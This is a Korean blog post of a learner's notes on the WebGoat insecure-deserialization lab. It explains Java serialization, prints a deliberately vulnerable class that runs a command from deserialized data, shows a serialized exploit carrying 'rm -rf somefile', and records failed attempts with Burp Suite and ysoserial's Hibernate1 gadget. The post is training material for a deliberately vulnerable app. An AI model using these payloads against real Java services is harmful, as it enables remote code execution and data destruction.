본문 바로가기
강의 및 교육/Inflearn - Webgoat

Insecure Deserialization

by 이우정 2022. 2. 23.
728x90

[ 이론 ]

Concept

 

이 단원에서는 직렬화가 무엇이며 개발자의 원래 의도가 아닌 작업을 수행하기 위해 어떻게 조작할 수 있는지 설명한다. 

 

Goals

- 사용자는 Java 프로그래밍 언어를 기본적으로 이해해야한다. 

- 사용자가 안전하지 않은 역직렬화 취약성을 탐지할 수 있다. 

- 사용자는 안전하지 않은 역직렬화 취약성을 이용할 수 있다. 

- 역직렬화를 이용하는 것은 PHP나 Python과 같은 다른 프로그래밍 언어에서는 약간 다르지만 여기서 학습된 주요 개념들은 모든 것에도 적용된다. 

 

What is Serialization 

직렬화는 일부 개체를 나중에 복원할 수 있는 데이터 형식으로 변환하는 프로세스이다. 사람들은 종종 스토리지에 저장하거나 통신의 일부로 보내기 위해 객체를 직렬화한다. Deserialization은 어떤 형식에서 구조화된 데이터를 가져와 객체로 재구성하는 프로세스의 역방향이다. 오늘날 데이터를 직렬화하는 데 가장 널리 사용되는 데이터 형식은 JSON이다. 그 전에는 XML이었다. 

 

Native Serialization

수많은 프로그래밍 언어들은 객체를 직렬화하는 네이티브 기능을 제공한다. 이러한 Native Format은 일반적으로 JSON이나 XML보다 더 많은 기능을 제공하며, 여기에는 직렬화 프로세스의 사용자 정의 기능이 포함된다. 아타깝게도 이러한 기본 역직렬화 매커니즘의 기능은 신뢰할 수 없는 데이터에 대해 작업할 때 악의적인 영향을 미치기 위해 용도 변경될 수 있다. 역직렬화에 대한 공격이 서비스 거부, 액세스 제어 및 원격 코드 실행 공격을 허용하는 것으로 확인되었다.

 

영향을 받는 것으로 알려진 프로그래밍 언어 : PHP Python Ruby Java C C++

 

 Data, not Code : 오직 데이터만 직렬화된다. 코드는 그 자체로 직렬화되지 않는다. 역직렬화는 직렬화된 객체와 동일한 객체를 얻기 위해 새로운 객체를 생성하고 바이트 스트림의 모든 데이터를 복사한다. 

 

 

The Simplest Exploit 

Vulnerable code

다음은 JAVA 역직렬화 취약점으로 잘 알려진 예시이다. 

InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)ois.readObject();

AcmeObject 객체가 필요하지만 캐스팅이 실행되기 전에 readObject()를 실행한다.공격자는 readObject()에서 위험한 작업을 구현하는 적절한 클래스를 발견하면 해당 개체를 직렬화하고 취약한 응용 프로그램이 이러한 작업을 수행하도록 강제할 수 있다. 

 

Class included in ClassPath

공격자는 readObject()에서 위험한 구현과 직렬화를 지원하는 클래스를 클래스 경로에서 찾아야한다.

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

        private static final long serialVersionUID = 1;

        private String taskName;
        private String taskAction;
        private LocalDateTime requestedExecutionTime;

        public VulnerableTaskHolder(String taskName, String taskAction) {
                super();
                this.taskName = taskName;
                this.taskAction = taskAction;
                this.requestedExecutionTime = LocalDateTime.now();
        }

        private void readObject( ObjectInputStream stream ) throws Exception {
        //deserialize data so taskName and taskAction are available
                stream.defaultReadObject();

                //blindly run some code. #code injection
                Runtime.getRuntime().exec(taskAction);
     }
}

 

Exploit

위에 표시된 Java 클래스가 존재하면 공격자는 해당 개체를 직렬화하고 원격 코드 실행할 수 있다. 

VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

 

What is a Gadgets Chain

역직렬화되었을 때 위험한 동작 자체를 실행하는 장치를 발견하는 것은 이상하다. 그러나 역직렬화되었을 때 다른 가젯에서 동작을 실행하는 가젯을 찾기가 훨씬 쉬우며, 두 번째 가젯은 세 번째 가젯에서 더 많은 동작을 실행하며 실제로 위험한 동작이 트리거 될 때까지 계속된다. 위험한 동작을 달성하기 위해 역직렬화 과정에 사용될 수 있는 이러한 가젯 세트를 "Gadget Chain"이라고 한다. 가젯 체인을 만들기 위한 가젯을 찾는 것은 보안 연구자들에게 활발한 주제이다. 이런 종류의 연구는 보통 코드를 읽는데 많은 시간을 소비해야 한다. 

 

[ 문제 ]

Let's try

 

다음 입력 상자는 작렬화된 객체를 수신하고 직렬화를 해제한다.

 

rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW9
1IGNhbiBwb3NzaWJseSBpbWFnaW5l

정확히 5초 동안 페이지 응답을 지연시키기 위해 이 직렬화된 개체를 변경하시오.

 

[ 풀이 ]

힝 이상한 문제

소스코드 확인,,,,

@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {

    @PostMapping("/InsecureDeserialization/task")
    @ResponseBody
    public AttackResult completed(@RequestParam String token) throws IOException {
        String b64token;
        long before;
        long after;
        int delay;

        b64token = token.replace('-', '+').replace('_', '/');
		// 토큰으로 DECODING
        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
            before = System.currentTimeMillis();
            Object o = ois.readObject(); // 여기서 취약점이 필요함 하지만 코드가 없어서 확인 불가
            // 객체 형성
            if (!(o instanceof VulnerableTaskHolder)) {
                if (o instanceof String) {
                    return failed(this).feedback("insecure-deserialization.stringobject").build();
                }
                return failed(this).feedback("insecure-deserialization.wrongobject").build();
            }
            after = System.currentTimeMillis();
        } catch (InvalidClassException e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        } catch (IllegalArgumentException e) {
            return failed(this).feedback("insecure-deserialization.expired").build();
        } catch (Exception e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        }

        delay = (int) (after - before); // 시간 제한 (객체 형성 하는데에)
        if (delay > 7000) {
            return failed(this).build();
        }
        if (delay < 3000) {
            return failed(this).build();
        }
        return success(this).build();
    }
}

burp suite extender에 파일 넣어서 확장 가능

점검 가능하도록 전송

Set Insertion Point - Sleep

??????? 뭐야 나는 not vulnerable만 뜨는디?

ㅠㅠㅠㅠ

 

일단 진행,,,

 

Java 툴 ysoserial - Gadgets 활성화

패치 완료된 툴 받았음

- 컴파일 안해도 ㄱㅊ

java -jar .\target\ysoserial-0.0.6-SNAPSHOT-all.jar

- 명령어 입력하고 파일로 생성

java -Dhibernate5 -jar .\target\ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "12314" > rst.txt

- base64 encoding

certutil -encode .\rst.txt .\rst1.txt

줄바꿈 삭제 => url에 넣어서 눈에 안보이는 특수문자 삭제

아놔ㅠㅠㅠ

 

 

https://www.youtube.com/watch?v=MSgEJFUt2NU 

 

이걸로 해도 안돼ㅠㅠㅠㅠㅠ

728x90

'강의 및 교육 > Inflearn - Webgoat' 카테고리의 다른 글

Cross Site Scripting - 10 & 11 & 12  (0) 2022.02.23
JWT tokens - 11. Final challenge  (0) 2022.02.23
Missing Function Level Access Control - 3  (0) 2022.02.22
Crypto Basics - 8  (0) 2022.02.22
Crypto Basics - 6  (0) 2022.02.21